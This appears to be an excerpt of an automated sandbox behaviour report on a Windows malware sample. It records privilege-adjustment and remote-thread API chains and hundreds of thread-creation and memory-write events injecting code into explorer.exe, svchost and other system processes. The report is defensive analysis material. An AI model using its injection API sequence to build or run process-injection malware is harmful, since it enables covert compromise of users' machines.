Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029DCC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,CloseHandle,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree, 0_2_029DCC92
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 25D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 25E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1610000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1620000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 15F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1640000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 460000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 470000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2590000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 25E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2EC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 3010000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 15C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 15D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2840000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2850000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 6A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 6B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2D30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2D80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2B80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2BD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: D00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2C30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2C80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2F20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1190000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1230000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 21C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2310000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2AF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2B00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 500000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 520000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 6D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 830000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2440000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1580000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 15D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1360000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 13B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2A20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2B70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1570000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 15C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 15A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 15B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: D40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: D50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 8F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 940000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: E50000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: E60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: D40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2930000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 780000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 790000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: BC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: E10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2700000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2C20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2C30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2DA0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1290000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 12A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 5C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 5D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2540000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2590000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 28C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2910000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: EE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: F30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2C10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2C20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2480000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 5B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 800000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2820000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2970000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2BB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2BC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1340000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1350000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2DB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2E00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1280000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1290000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2E40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 5F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2370000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2170000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2180000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2BB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2C00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2450000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 24A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2D70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2DC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1310000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1320000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 980000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 990000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1100000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1110000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2A60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2AB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 5B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 8D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 920000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 970000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 670000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 6C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 10E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 10F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: B10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: B60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1240000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1250000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1440000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1450000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2E70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2E80000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 25C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2610000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 29F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2A40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2F90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 30E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2840000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2850000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2650000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 26A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2890000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 28A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 500000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 510000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: DD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: DE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 28B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2900000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2CF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2D00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: F00000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 29F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2AE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2AF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 6D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 720000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1470000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1480000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2AE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2B30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1430000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1440000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2870000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 28C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 21D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2220000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: C20000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: C30000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2D90000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2DE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 10A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 10B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: A60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: A70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2EE0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2F40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2BA0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2BF0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2D10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2E60000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: A70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 2600000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 4F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 500000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1230000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Thread created: unknown EIP: 1240000 Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: B190000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: F20000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: F40000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: F50000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: F60000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: 8390000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: 83A0000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: 8850000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: 8860000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: 8880000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: EF0000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: F10000 value: E8 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: PID: 4056 base: 94E0000 value: E8 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\fontdrvhost.exe base: AD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\dwm.exe base: 10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\sihost.exe base: 3B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: 980000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ctfmon.exe base: AB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\explorer.exe base: B190000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\svchost.exe base: BD0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CA0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 8C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: ED0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 950000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\smartscreen.exe base: 70000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 10000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 100000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 120000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: C40000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 290000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SysWOW64\cscript.exe base: 25D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\SysWOW64\cscript.exe base: 25E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: AB0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Windows\System32\conhost.exe base: 9F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1610000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1620000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15F0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1640000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 460000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 470000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25E0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EC0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 3010000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15C0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 15D0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6A0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6B0000 Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory written: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D30000 Jump to behavior
